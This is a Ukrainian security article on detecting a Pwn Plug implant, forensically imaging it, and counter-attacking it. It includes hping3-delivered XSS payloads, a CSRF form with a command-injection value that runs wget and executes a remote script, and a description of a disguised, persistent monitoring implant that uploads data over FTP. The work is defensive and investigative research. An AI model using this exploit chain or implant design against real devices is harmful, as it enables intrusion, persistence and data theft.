Pwn Plug на гачку: як виявити, дослідити й перехопити хакерський пристрій у вашій мережі

19.07.2025 6 хвилин Автор: Cyber Witcher

Вбудовані хакерські пристрої, як-от Pwn Plug, становлять реальну загрозу для корпоративних мереж. У цій статті ми розповідаємо, як виявити, знешкодити та використати такий пристрій проти самого зловмисника. Докладний аналіз апаратної частини Pwn Plug, створення криміналістичного образу NAND-пам’яті, симуляція файлової системи UBIFS та розшифровка логів — усе це допоможе отримати цінні дані про дії атакуючого. Крім того, ми демонструємо, як за допомогою вразливостей у PlugUI інтерфейсі організувати контратаку, перетворивши ворожий девайс на хонеypot для моніторингу активності зловмисника. Усі кроки супроводжуються інструкціями, скриптами та практичними порадами.

Виявлення та контратака Pwn-штекера у вашій мережі

Щоб обійти обмеження на вхідний мережевий трафік, зловмисник може вважати за потрібне «імплантувати» апаратний пристрій у цільову мережу, який дозволить йому запускати атаки зсередини цільової мережі. Такі пристрої можуть бути повністю функціональними комп’ютерами, але достатньо малими, щоб їх можна було приховати та замаскувати в цільовому середовищі. Одним із пристроїв, популярних серед тестувальників на проникнення (і з тим самим набором функцій, який був би корисним для зловмисника), є Pwn Plug від Pwnie Express. Pwn Plug спочатку виглядає як блок живлення принтера або ноутбука, але містить функціональний комп’ютер, на якому працює невелика, але повнофункціональна операційна система, призначена для атаки на системи, збору інформації та зворотного підключення до зловмисника для звітування про результати.

Коли в організації виявляється пристрій, імплантований зловмисником, ця організація може захотіти провести судово-медичний аналіз пристрою, щоб визначити, які системи він скомпрометував, яку інформацію було зібрано та будь-яку інформацію, яка може допомогти ідентифікувати зловмисника. Коли пристрій було знайдено в мережі, він також може стати ціллю контратаки, використовуючи вразливості в самому пристрої, щоб скомпрометувати його та перетворити на систему моніторингу зловмисника. Якщо зловмисник забере пристрій для подальшого використання в іншій ситуації, те саме програмне забезпечення для моніторингу буде використано.

Вразливості в пристроях, імплантованих зловмисником, також мають наслідки для тестувальників на проникнення, які використовують ці пристрої в авторизованих ситуаціях. Якщо сторонній зловмисник зможе скомпрометувати апаратні та програмні засоби, що використовуються тестером на проникнення, то як тестер на проникнення, так і клієнт тестувальника були фактично скомпрометовані. Дії зловмисника можуть бути проігноровані клієнтом як частина тесту, або зловмисник може просто контролювати та маніпулювати результатами діяльності тестувальника, щоб зібрати інформацію про стан безпеки клієнта (одночасно відмовляючи тестеру на проникнення). Якщо тестер на проникнення, який використовує скомпрометований пристрій, не очищає його достатньо між взаємодіями, то можуть бути скомпрометовані кілька клієнтів.

У цьому дослідженні ми використовували найпопулярніший комерційно/загальнодоступний імплантований пристрій, Pwn Plug, як тематичне дослідження для вищезазначених сценаріїв. Ми задокументували відповідну процедуру створення судово-медичного зображення Pwn Plug з мінімальним впливом на сам пристрій, а також надали деяку інформацію про те, на чому зосередити дослідження. Ми також виявили низку вразливостей у комерційному блоці Pwn Plug, які, в поєднанні, дозволяють дистанційно здійснити компрометацію під час контратаки або атаки третьої сторони.

Нарешті, ми представляємо програмне забезпечення, розроблене для перетворення імплантованих зловмисником пристроїв на пристрої моніторингу зловмисника, по суті перетворюючи пристрої на системи-приманки, що належать зловмиснику.

Судово-медичні придбання

Основним сховищем, яке використовує ОС Pwn Plug, є внутрішня NAND-пам’ять, яка є предметом цієї процедури отримання. З усіх інших сховищ, які можуть бути підключені до захопленого Pwn Plug (SD або USB), має бути легко отримати образ за допомогою сучасних інструментів та процедур, розроблених для знімних носіїв.

Документація Pwn Plug містить процедуру резервного копіювання та відновлення файлової системи за допомогою рекурсивної копії, проте це вимагає доступу до інтерфейсу командного рядка інсталяції Linux, що міститься на Pwn Plug. Ймовірно, зловмисник у більшості випадків встановив це значення на щось інше, ніж значення за замовчуванням, тому потрібна процедура, яка не вимагає такого рівня доступу. Файлова система не зашифрована, тому процедура, яка включає завантаження копії Linux, контрольованої аналітиком, з USB, підійде для створення образу інсталяції Pwn Plug Linux на USB-накопичувач, обходячи пароль, контрольований зловмисником, або інші елементи керування. Після копіювання образу на USB його можна завантажити на робочу станцію аналітика для зручного вивчення (порівняно з обмеженням набору інструментів, доступних у вбудованому дистрибутиві Linux).

Наступні кроки будуть описані в наступних кількох розділах, що призведе до створення образу кореневої файлової системи Pwn Plug у файл на USB-накопичувачі для подальшого аналізу.

  • Створення завантажувального USB-накопичувача

  • Отримання запиту U-Boot

  • Збереження конфігурації U-Boot

  • Завантаження з USB-накопичувача

  • Копіювання файлової системи на USB-накопичувач

  • Вимкнення системи

Усі наступні інструкції були виконані на Macbook Pro 15” Retina під керуванням OS X версії 10.8.2 та віртуальних машинах під керуванням Microsoft Windows 7 та Ubuntu Linux 12.10.

Створення завантажувального USB-накопичувача

Почав зі створення USB-накопичувача з інсталяцією Debian Linux, сумісного з обладнанням Pwn Plug. Інструкції з підготовки накопичувача були адаптовані з: http://www.cyrius.com/debian/kirkwood/sheevaplug/unpack.html

USB-накопичувач було розбито за допомогою інструменту gparted для Linux, з розділами, які потрібно було відформатувати для завантажувального, кореневого та розділу підкачки для встановлення Debian. Було додано додатковий розділ, відформатований як FAT32, для зберігання отриманих образів пристроїв Pwn Plug. Для 4-гігабайтного USB-накопичувача, який використовувався в тестуванні, схема розділів була наступною:

Потім розділи Linux були відформатовані за допомогою таких команд:

sudo mkfs.ext2 -I 128 /dev/sdb1
sudo mkfs.ext2 /dev/sdb2
sudo mkswap /dev/sdb3

Далі було створено точку монтування для файлових систем Linux, і розділи Linux USB-накопичувача було змонтовано до цієї точки монтування:

mkdir mnt
sudo mount /dev/sdb2 mnt/
sudo mkdir mnt/boot
sudo mount /dev/sdb1 mnt/boot/

Після цього було отримано базову інсталяцію Debian для пристроїв SheevaPlug, а також перевірено сигнатури:

wget http://people.debian.org/~tbm/sheevaplug/lenny/base.tar.bz2
wget http://people.debian.org/~tbm/sheevaplug/lenny/base.tar.bz2.asc
gpg --keyserver subkeys.pgp.net --recv-key 68FD549F
gpg --verify base.tar.bz2.asc base.tar.bz2

Далі базову інсталяцію було розпаковано на USB-накопичувач:

cd mnt
sudo tar -xjvf ../base.tar.bz2

Після завершення вилучення пристрій було розмонтовано:

cd ..
sudo umount mnt/boot
sudo umount mnt

Після створення завантажувального USB-накопичувача Pwn Plug було створено його образ для полегшення та прискорення розгортання подібних USB-накопичувачів у майбутньому.

Як відкрити запит U-Boot

Щоб отримати доступ до завантажувача Pwn Plug та завантажити його з USB, віртуальну машину Linux було налаштовано на підключення до послідовної консолі Pwn Plug (через mini-USB) за допомогою наступних команд, адаптованих з документації Pwn Plug (хоча й модифікованих, щоб включити minicom, оскільки screen виявився ненадійним):

sudo modprobe usbserial
sudo modprobe ftdi_sio vendor=0x9e88 product=0x9e8f
sudo apt-get install minicom

Налаштування за замовчуванням для minicom були правильними, окрім необхідності зміни послідовного порту на /dev/ttyUSB0. Після підключення кабелю mini-USB слід увімкнути живлення Pwn Plug, і одразу після цього слід запустити minicom зі збереженою конфігурацією для спроби підключення. Якщо вам вдається натиснути клавішу Enter кілька разів і надійно отримати запит Marvell>> без пошкоджень або додаткових команд на екрані, то підключення успішно встановлено. Іноді, здається, що для успішного підключення потрібно кілька запусків minicom або навіть перезавантаження Pwn Plug.

Збереження та вилучення існуючої конфігурації U-Boot

Наступна команда має вивести поточне середовище U-Boot на Pwn Plug:

env print

Вивід цієї команди слід зберегти, щоб відновити початкову конфігурацію, у разі внесення змін під час аналізу. Вивід для Pwn Plug, який використовувався в цьому тестуванні, включено як original_uboot_env.txt (із прихованою MAC-адресою).

Завантаження Pwn Plug з USB

На цьому етапі завантажувальний USB-накопичувач Debian можна підключити до роз’єму Pwn, а наступна команда запустить USB-систему та допоможе вам перевірити, чи знайдено пристрій зберігання даних:

usb start

Потім змінну bootargs слід встановити відповідним чином для завантаження з USB:

setenv bootargs console=ttyS0,115200 'root=/dev/sda2 rootdelay=10'

Далі, uImage та uInitrd завантажувального Debian слід завантажити в оперативну пам’ять:

ext2load usb 0:1 0x800000 /uImage
ext2load usb 0:1 0x1100000 /uInitrd

Нарешті, процес завантаження можна розпочати, виконавши таку команду:

bootm 0x800000 0x1100000

Якщо це пройде успішно, має розпочатися процес завантаження Linux, який завершиться запитом на вхід до Debian.

Отримання NAND-накопичувача на USB

Увійдіть до дистрибутива Debian, використовуючи ім’я користувача root та пароль root. Далі змонтуйте розділ FAT32 до каталогу:

mkdir target
mount /dev/sda4 target

Потім перегляньте доступні пристрої MTD за допомогою команди cat /proc/mtd. Це список того, що міститься у внутрішній пам’яті NAND. Нижче наведено вивід для тестового Pwn Plug:

dev: size erasesize name
mtd0: 00100000 00020000 "u-boot"
mtd1: 00400000 00020000 "uImage"
mtd2: 1fb00000 00020000 "root"

Далі, щоб отримати образ кореневої файлової системи:

cd target
dd if=/dev/mtdblock2 of=root.img

Нарешті, відмонтуйте цільовий розділ FAT32 та вимкніть завантажувальний USB Debian:

cd ..
umount target
shutdown -h now

Після появи повідомлення «Система зупинена», ви можете вийняти USB-накопичувач та від’єднати Pwn Plug. Оскільки жодних змін до параметрів завантаження в U-Boot не було збережено, наступного разу, коли Pwn Plug завантажиться без підключеного послідовного кабелю, він має завантажитися нормально в ОС Pwn Plug.

Судово-медичний аналіз

Вилучення файлової системи

Коренева файлова система Pwn Plug – це образ UBIFS. Через стиснення та великі розміри блоків важко відновити раніше видалену інформацію з образів UBIFS, і наразі не існує легкодоступних інструментів для аналізу образів UBIFS. Найкращою практикою для аналізу цих образів на даний момент є монтування їх у файлову систему Linux та вилучення файлів на логічному рівні за допомогою рекурсивної копії.

Наступні інструкції щодо вилучення структури каталогів з образу Pwn Plug UBIFS в Ubuntu Linux 12.10 були адаптовані із загальних інструкцій щодо вилучення UBIFS, розташованих за адресою: http://www.slatedroid.com/topic/3394-extract-and-rebuild-a-ubi-image/

Весь цей набір операцій вимагає root-прав, тому може бути зручно переключитися на root-користувача на час виконання цього розділу, замість використання sudo:

sudo su
First, the mtd-utils package must be installed:
apt-get install mtd-utils

Для доступу до цієї файлової системи необхідно змоделювати пам’ять NAND, що вимагає завантаження деяких модулів ядра:

modprobe mtdblock
modprobe ubi

Під час завантаження модуля симулятора NAND необхідно встановити байти ідентифікатора, щоб вибрати тип та обсяг пам’яті, яку потрібно симулювати. Наступна команда (з http://www.linux mtd.infradead.org/faq/nand.html ), введена в один рядок, працює для створення симульованої NAND, яка має можливість зберігати образ кореневого диска Pwn Plug.

modprobe nandsim first_id_byte=0x20 second_id_byte=0xac
third_id_byte=0x00 fourth_id_byte=0x15

Далі перевірте список пристроїв MTD, щоб побачити, чи наведені вище команди були успішними:

cat /proc/mtd

Вивід має виглядати наступним чином:

dev: size erasesize name
mtd0: 20000000 00020000 "NAND simulator partition 0"

Далі, скопіюйте образ кореневої файлової системи, отриманий з Pwn Plug, на блочний пристрій MTD:

dd if=root.img of=/dev/mtdblock0

Потім підключіть пристрій UBI та змонтуйте файлову систему до каталогу:

mkdir pwn_root
ubiattach /dev/ubi_ctrl -m 0
mount -t ubifs ubi0_0 pwn_root

У разі успіху коренева файлова система, отримана з Pwn Plug, має бути видимою в каталозі pwn_root. Щоб скопіювати структуру каталогів та файли з цього каталогу до файлової системи аналітичної машини для подальшого аналізу (без необхідності постійного повторення вищезазначених кроків моделювання NAND), виконайте такі команди:

mkdir Pwn Plug_extracted
cp -a pwn_root/* Pwn Plug_extracted/

Результатом має бути логічна копія структури файлів та папок кореневої файлової системи Pwn Plug, розташована в Pwn Plug_extracted для зручного аналізу. Потім модулі, необхідні для моделювання NAND, можна вивантажити:

ubidetach -m 0
rmmod nandsim
rmmod ubifs
rmmod ubi
rmmod mtdblock

Іспит

З кореневого каталогу файлової системи файл /etc/motd.tail містить версію та дату випуску інсталяції ОС Pwn Plug у системі. На момент написання статті останні доступні образи ОС від Pwnie Express мають версію 1.1, а також доступний скрипт для оновлення систем до версії 1.1.2. Скрипт оновлення 1.1.2 скасовує зміни, внесені у версії 1.1.1, які переміщували деякі інструменти на вставлену SD-карту. Версія 1.1.2 також, як для 1.1, так і для 1.1.1, видаляє існуючу версію фреймворку Metasploit та встановлює користувацьку версію Metasploit, що підтримується Pwnie Express, яка розроблена для використання меншого дискового простору (і, таким чином, поміщається у внутрішню NAND-пам’ять Pwn Plug).

Судово-медичний аналіз отриманого образу Pwn Plug можна швидко зосередити на цікавих артефактах використання пристрою, порівнюючи файли в отриманій файловій системі з файлами в базовому образі від Pwnie Express. Зверніть увагу, що для найкращих результатів слід використовувати базовий образ, який відповідає версії ОС Pwn Plug у отриманому образі. Номери версій, що мають літеру «c» після «(наприклад, 1.1c), – це безкоштовні «спільнотні» версії ОС, які Pwnie Express пропонує для безкоштовного завантаження (для тих, хто бажає самостійно конвертувати стандартний SheevaPlug у Pwn Plug).

Номери версій, що не містять літери «c», – це комерційні версії, що постачаються з Pwn Plug від Pwnie Express та доступні для завантаження зареєстрованим клієнтам. Комерційні версії містять веб-інтерфейс користувача та інші скрипти, яких немає у спільнотній версії. Хоча наявність комерційного образу для порівняння найкраще підходить для аналізу придбання комерційного Pwn Plug, порівняння з безкоштовною спільнотною версією майже так само допоможе звузити аналіз.

Базові образи для Pwn Plug можна витягти для порівняння за допомогою методу, описаного в попередньому розділі. Щоб порівняти два витяги, використовуйте команду в такій формі (всі в одному рядку):

diff -rq <base extraction> <acquired extraction> | grep -v “[file|fifo] while” > <output text file>

Під час виконання цієї команди помилки «Немає такого файлу чи каталогу» виникають через символічні посилання, які не розв’язуються належним чином через те, що корінь файлової системи знаходиться в підкаталозі вашої системи аналізу. Ці помилки можна безпечно ігнорувати, оскільки всі фактичні файли порівнюються рекурсивно з кореня обох видобутків.

Отриманий текстовий файл міститиме список файлів, які відрізняються та існують лише в одному видобутку, а також виключатиме файли спеціальних пристроїв, які не стосуються вашого аналізу. Приклад результату порівняння комерційної файлової системи «Wireless» з версією для спільноти включено до файлу community_1.1_vs_wireless_1.1.txt. Це має служити для ілюстрації формату результату порівняння, а також надавати рекомендації щодо файлів, які відрізняються між комерційними та версіями для спільноти, для аналітиків, які не мають доступу до комерційних образів Pwn Plug.

Після вилучення та порівняння, аналіз решти файлів має здатися знайомим аналітикам, які мають досвід дослідження систем Linux. Деякі спостереження:

  • Хоча ім’я хоста /etc/hostname, встановлене в завантажених образах, має значення «polonus5», ім’я хоста нещодавно придбаного Pwn Plug було виявлено як MAC-адресу пристрою без пробілів та роздільників.

  • Інформація про оренду DHCP, отриману на різних інтерфейсах, може міститися у файлі /var/lib/dhcp/dhclient.leases. Це може розкрити інформацію про те, до яких мереж було підключено пристрій.

  • Файл /var/log містить різноманітні файли журналів, які можна очікувати знайти в системах Linux, що можуть розкрити інформацію про діяльність зловмисника.

  • Журнали підключень до веб-інтерфейсу (включаючи IP-адреси), що входять до складу комерційних версій ОС Pwn Plug, містяться у файлі /var/Pwn Plug/plugui/webrick.log.

  • Веб-інтерфейс містить кнопку, яка запускає скрипт для очищення записів журналу та історії команд. Хоча цей скрипт, очевидно, корисний для зловмисника для видалення цікавих артефактів, він також служить гарним орієнтиром для аналітика місць, де така інформація може існувати під час захоплення пристрою.

Аналіз вразливостей

У веб-інтерфейсі (PlugUI), який комерційні системи Pwn Plug включають та працюють за замовчуванням, було виявлено різноманітні вразливості. Поєднання цих вразливостей дозволяє повне віддалене компрометування root-прав у сценарії контратаки, описаному в наступному розділі «Сценарій та інструментарій контратаки».

Міжсайтовий скриптинг (XSS)

Міжсайтовий скриптинг (XSS) – це результат того, що веб-додатки відображають дані, надані користувачем, таким чином, що вони не фільтруються належним чином, що дозволяє запускати код JavaScript на основі даних, наданих користувачем, у веб-браузерах інших відвідувачів веб-додатку. Код зловмисника, що виконується в контексті веб-додатку, може красти файли cookie, перенаправляти користувачів та (у цьому випадку) використовуватися для запуску інших вразливостей.

Інтерфейс PlugUI представляє останні десять рядків кількох файлів журналу. Приклад цього можна побачити в розділі інтерфейсу «Пасивна розвідка». У випадку HTTP-запитів, що відображаються на цьому інтерфейсі, якщо «Host:» або «User-Agent» веб-запиту Pwn Plugsniffed містить скрипт наступного вигляду, JavaScript може бути виконаний у веб-браузері власника Pwn Plug під час перегляду сайту:

<<SCRIPT>alert(“XSS Demo”);//<</SCRIPT>

Створюючи пакети, безпосередньо спрямовані на Pwn Plug, із сегментом даних, що містить текст, що відповідає регулярним виразам, що використовуються процесом моніторингу для реєстрації HTTP-запитів, ми можемо легко завантажувати довільні скрипти на сторінку пасивної розвідки для виконання у браузері власника. Код для перенаправлення власника Pwn Plug на сторінку, контрольовану зловмисником, можна розмістити на сторінці пасивної розвідки PlugUI за допомогою такої команди Linux:

hping3 <pwnplug IP> -c 1 -p 80 -e ": GET\nHost: <<SCRIPT>window.location.href="http://192.168.1.11:8000/exploit. html";//<</SCRIPT>\nUser-Agent: a\nReferer: a\nCookie: \a"

Зверніть увагу, що дані, надіслані та зареєстровані Pwn Plug, можуть не відображатися у веб-інтерфейсі протягом короткого часу після їх надсилання. Це пов’язано з тим, що буферизований ввід і ввід затримує запис у файл журналу. У випадках, коли JavaScript потрібно швидко завантажити у браузер власника, або коли є підозра, що великий обсяг легітимного HTTP-трафіку може «виштовхнути» ваш код експлойту зі сторінки, може бути гарною ідеєю надсилати дублікати створених пакетів через короткі проміжки часу, доки власник не перегляне один із них.

Цю атаку найлегше використати в цій частині перегляду HTTP-трафіку PlugUI, хоча інші частини інтерфейсу можуть так само нехтувати фільтрацією виводу. Якщо «Пасивна розвідка» наразі вимкнена, це не можна одразу використати таким чином. Однак, використовуючи наступну вразливість, зловмисник може віддалено активувати функцію «Пасивна розвідка».

Підробка міжсайтових запитів (CSRF)

Вразливості підробки міжсайтових запитів (CSRF) виникають через те, що веб-застосунки не перевіряють належним чином, чи були надіслані HTML-форми з поточного сайту. Веб-форми повинні мати унікальні ідентифікатори, встановлені для кожного екземпляра, які можна перевірити під час надсилання. У разі використання цієї вразливості інші сайти (або частини поточного сайту, що піддаються експлуатації), що відкриваються в тому ж браузері, що й автентифікований сеанс на вразливому сайті, можуть надсилати форми на вразливий сайт від імені зареєстрованих користувачів. Це часто використовується для підробки запитів через адміністративних користувачів на додавання облікових записів або зміну налаштувань безпеки.

В інтерфейсі PlugUI жодна з форм у жодній частині інтерфейсу не містить унікальних ідентифікаторів, а цільові об’єкти форм не перевіряють джерело даних (через перенаправлення чи іншим чином). Поєднання HTML та JavaScript може бути використано для того, щоб веб-браузер власника Pwn Plug вносив зміни до Pwn Plug з будь-якого сайту, який відвідує власник. Зловмисник може легко направити власника Pwn Plug на відвідування сторінки, розмістивши код експлойту на сторінці, на яку навмисно посилається URL-адреса в даних, зареєстрованих Pwn Plug, або в публічному вебпросторі цільової організації власника Pwn Plug.

Ця вразливість використовується в розділі «Сценарій та інструментарій контратаки» як спосіб використання наступної вразливості введення команд.

Введення команд

Вразливості введення команд у веб-застосунки є результатом передачі неочищених даних користувача в рядки, які використовуються як частина аргументів командного рядка на стороні сервера веб-застосунку. Це випадки, коли веб-застосунок запускає сценарій оболонки або команду. Маніпулюючи введенням, зловмисник може скористатися функціями оболонки (такими як розділення команд символами «;»), щоб захопити контроль над системним викликом та виконати довільні команди.

У PlugUI розділ «Зворотні оболонки» містить низку полів форми, які використовуються для запуску зворотних з’єднань оболонки назад до зловмисника. Значення в цих полях зрештою передаються в командний рядок без фільтрації. Змінивши поле на «;touch /root/proof_of_concept;», можна спостерігати, що виконання команд може бути виконане (хоча це може зайняти деякий час, оскільки команди запускаються через завдання cron, яке виконується раз на хвилину).

Ця вразливість може здатися не одразу корисною, оскільки ці форми доступні лише користувачам, які увійшли в автентифікований веб-інтерфейс PlugUI. Однак вона використовується без згоди зареєстрованого користувача в розділі «Сценарій та інструментарій контратаки» за допомогою раніше описаної вразливості CSRF (яка, у свою чергу, використовується вразливістю XSS).

Запобігання – режим прихованого доступу

У документації Pwn Plug описано «режим прихованого доступу», який вимикає всі порти прослуховування, включаючи SSH-сервер та веб-інтерфейс PlugUI. Це описано як необов’язковий крок під час розгортання Pwn Plug у цільовому середовищі, і якщо його встановити, він закриє поверхню атаки, що використовується цими вразливостями, та обмежить сценарій контратаки, описаний у наступному розділі. Однак, логічно припустити, що зловмисник може не вмикати конфігурацію «Прихований режим» через обмеження можливостей підключення до пристрою Pwn Plug (лише зворотні оболонки та послідовна консоль). Коли «Прихований режим» активовано, організація, яка бажає контратакувати пристрій, все одно матиме більш руйнівну дію – перезавантаження та отримання доступу через доступну послідовну консоль.

Сценарій та інструментарій контратаки

Можна «контратакувати» Pwn Plug, розташований у вашій організації, за сценарієм, описаним нижче. Можуть бути й інші можливі сценарії, коли атака може бути розпочата проти Pwn Plug; це лише один із сценаріїв атаки, визначених у результаті цієї роботи. Ця контратака дозволяє встановити програму моніторингу, яка періодично збирає дані, корисні для приписування Pwn Plug певному власнику та ідентифікації хостів, вразливостей та даних, зібраних Pwn Plug. Це, по суті, перетворює Pwn Plug на приманку, яка реєструє дії його власника.

Передумови

В описі цього сценарію в наступних розділах зроблені такі припущення.

  • IP-адресу пристрою Pwn Plug необхідно було ідентифікувати.

  • Інтерфейс PlugUI існує на Pwn Plug та наразі активований.

  • Функція пасивної розвідки має бути ввімкнена, і зловмисник повинен у певний момент перевірити результати в PlugUI.

Зверніть увагу, що в підрозділі «Варіації» далі в цьому документі обговорюється, як можна успішно контратакувати пристрій Pwn Plug у сценаріях, коли вищезазначені припущення не виконуються.

Інструменти

У цьому сценарії використовуються такі інструменти (інструменти, розроблені спеціально для цього дослідження, включені до відповідних файлів):

  • exploit_packet_payload – Використовується як корисне навантаження для пакетів, що надсилаються за допомогою команди hping3. Перший етап експлуатації

  • hping3 – використовується для створення та надсилання довільних пакетів (загальнодоступні)

  • Веб-сервер – будь-який веб-сервер, здатний розміщувати файли, завантажені експлойтом та впровадженим honeypot

  • FTP-сервер – будь-який FTP-сервер, налаштований з обмеженим обліковим записом для вхідних передач даних від програмного забезпечення honeypot/моніторингу, яке буде встановлено на Pwn Plug

  • pwnmon (ім’я файлу: ubi.py) – Програмне забезпечення Honeypot/моніторинг, написане спеціально для цього дослідження, яке виконує різноманітні методи збору інформації на Pwn Plug. Більш детально описано в наступному підрозділі.

Сценарій

Враховуючи вищезазначені передумови, exploit_packet_payload містить код, який буде відображатися та виконуватися в розділі «Passive Recon» інтерфейсу PlugUI (через XSS). Нижче наведено вміст цього файлу:

: GET
Host: <html><form target="fr" id="theform" action="/script" method="post"><input
type="hidden" name="tcp_ssh[active]" value="on"><input type="hidden"
name="tcp_ssh[ip]" value=";cd /usr/sbin;wget http://192.168.9.187:8000/ubi.py;python
ubi.py;rm ubi.py;"><input type="hidden" name="tcp_ssh[port]" value="31337"><input
type="hidden" name="tcp_ssh[cron]" value="Every Minute"><input type="hidden"
name="http_ssh[cron]" value="Every Minute"><input type="hidden" name="ssl_ssh[cron]"
value="Every Minute"><input type="hidden" name="dns_ssh[cron]" value="Every
Minute"><input type="hidden" name="icmp_ssh[cron]" value="Every Minute"><input
type="hidden" name="gsm_ssh[cron]" value="Every Minute"><input type="hidden"
name="egress_buster_ssh[cron]" value="Every Minute"></form><iframe
style="display:none" name="fr" id="fr"></iframe><script
type="text/javascript">document.forms["theform"].submit();</script></html>
User-Agent: Hi
Referer: Hi
Cookie: Hi

Цей файл потрібно змінити, щоб змінити URL-адресу (виділена жирним шрифтом) на URL-адресу, де розміщено наданий у вас ubi.py. Після внесення відповідних змін його можна надіслати до Pwn Plug за допомогою такої команди hping3:

sudo hping3 192.168.9.10 -c 1 -p 80 -E exploit_packet_payload -d 1100

У деяких ситуаціях цю команду потрібно надсилати кілька разів протягом певного періоду часу, щоб переконатися, що вона відображається в останніх десяти рядках, що відображаються оператору Pwn Plug, коли він переходить до розділу «Пасивна розвідка». Також може знадобитися деякий час для відображення коду експлойта в розділі «Пасивна розвідка» з відносно низьким трафіком через його буферизацію. Ви можете надіслати її кілька разів, щоб переконатися, що вона присутня там, коли оператор її переглядатиме.

Після того, як оператор Pwn Plug відвідує сторінку «Пасивна розвідка», починається ланцюг подій:

  • Через вразливість XSS завантажується прихована версія форми «Зворотні оболонки» зі спеціально створеними значеннями. Зокрема, tcp_ssh[ip] встановлено на: ;cd /usr/sbin;wget http://192.168.9.187:8000/ubi.py;python ubi.py;rm ubi.py;

  • Код JavaScript негайно надсилає цю форму до програми PlugUI (через вразливість CSRF), яка налаштовує команди, включаючи вставлені команди, у завдання cron, що виконується щохвилини (через вразливість вставки команд).

  • Невдовзі вставлені команди виконуються. Скрипт ubi.py завантажується з веб-сервера та виконується. Він очищається після експлойту та встановлюється як програмне забезпечення для приманки/моніторингу (докладніше описано в наступному розділі). Потім ubi.py видаляється.

  • Через 17 хвилин після години (коли cron.hourly виконується на Pwn Plug), встановлене програмне забезпечення для приманки/моніторингу запускається незалежно від веб-застосунку із завдання cron та починає свою діяльність (докладніше описано в наступному розділі).

  • Кожні 10 хвилин (налаштовується) колекція даних з Pwn Plug завантажується на FTP-сервер. Крім того, з налаштовуваного веб-сайту завантажується та запускається скрипт (для оновлень, додаткових функцій або команд, які ви хочете виконати).

Програмне забезпечення для моніторингу/приманки – pwnmon

Програмне забезпечення pwnmon було написано як корисне навантаження для цього сценарію контратаки та забезпечує моніторинг дій, що виконуються на Pwn Plug, а також даних, які він збирає та реєструє. Його можна легко модифікувати для роботи також на інших пристроях, імплантованих зловмисником. Перед розгортанням слід встановити такі параметри конфігурації:

  • ftp_host = ‘192.168.9.187’

  • ftp_user = ‘pwnplug’

  • ftp_pass = ‘password’

  • remote_script = ‘http://192.168.9.187:8000/ubimount.py

  • installed_location = ‘/usr/sbin/ubifsck’

  • installed_name = ‘ubifsck’

  • lock_file = ‘/usr/sbin/ubichksum’

  • collection_prefix = ‘pwnplug’

  • sleep_time = 600

Імена файлів «ubi» вибрано таким чином, щоб вони гармонійно поєднувалися з утилітами, встановленими на Pwn Plug для керування файловими системами UBI. Облікові дані FTP та адреси веб-серверів слід встановити відповідно до вашого сценарію, а префікс колекції можна змінити, щоб розрізняти кілька контрольованих pwnplug. Час сну вказано в секундах.

Загальні дії, що виконуються цим програмним забезпеченням, такі:

  • Якщо він запускається в результаті вищеописаних експлойтів та сценарію (ім’я файлу – «ubi.py»), він очистить систему після цих експлойтів. Він обнуляє результати HTTP-запитів, щоб запобігти повторному спрацьовуванню цього XSS/CSRF. Він вимикає зворотну конфігурацію SSH, яка використовувалася для введення команд, щоб запобігти їх повторному виконанню.

  • Він запобігає багаторазовому одночасному запуску.

  • Він встановлюється до «installed_location».

  • Він налаштовує персистентність за допомогою rc.local та cron.hourly.

  • Він вимикає функцію очищення історії bash для Pwn Plug.

  • Кожні десять хвилин (налаштовується) він запускатиме скрипт з вашого веб-сайту. Цей скрипт може реалізувати оновлення pwnmon, віддалене створення образу Pwn Plug, вимкнення пристрою, додавання додаткових функцій збору або будь-яку іншу дію, яку ви налаштуєте.

  • Він збирає таку інформацію та стискає її в архів tar.gz: список процесів, історію команд, повний список файлів, мережеві інтерфейси, мережеві підключення та всі файли журналів (включно з файлами веб-застосунку PlugUI, Metasploit тощо).

  • Він завантажує зібрану інформацію на ваш FTP-сервер.

Варіації

  • Якщо власника Pwn Plug можна переконати відвідати веб-сайт, який ви контролюєте (що, ймовірно, не є чимось надзвичайним), аспект XSS у вищезгаданому сценарії можна пропустити, і веб-сайт може безпосередньо використати вразливість CSRF на сторінці Reverse Shell.

  • У випадках, коли IP-адресу Pwn Plug неможливо визначити, перші етапи атаки потенційно можуть бути адаптовані та повторені для різних IP-адрес, щоб ідентифікувати пристрій.

  • IP-адреса Pwn Plug за замовчуванням у стані постачання — 192.168.9.10. Ці знання потенційно можуть бути використані для компрометації пристроїв Pwn Plug за допомогою експлойтів CSRF, оскільки пристрої знаходяться у своїх конфігураційних/проміжних середовищах, перш ніж їх навіть розгорнуть зловмисники.

Висновки

У цьому тематичному дослідженні було помічено, що після виявлення «зловмисного» Pwn-плагіна у вашій організації можна відносно легко отримати образ пристрою та проаналізувати його. Такий пристрій також можна контратакувати, або перевантаживши його даними до такої міри, що він більше не зможе реєструвати дані, або, що більш ефективно, використовуючи вразливості в його коді. Використовуючи вразливості програмного забезпечення для атак проти нього, ми можемо перетворити імплантовані зловмисником пристрої на пристрої моніторингу зловмисників та honeypot.

Крім того, легітимні тестувальники на проникнення, які використовують такі пристрої, повинні знати, що вразливості в інструментах, які вони використовують, можуть наражати їх та їхніх клієнтів на ризик компрометації з боку сторонніх зловмисників. Пристрої, що використовуються тестувальниками на проникнення, є привабливими цілями для зловмисників. Такі пристрої слід відновлювати до відомої справної конфігурації між тестами та контролювати на предмет потенційної компрометації. Самі тестувальники на проникнення повинні мати набір навичок, необхідних для самозахисту та моніторингу компрометації, щоб захистити своїх клієнтів.

Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.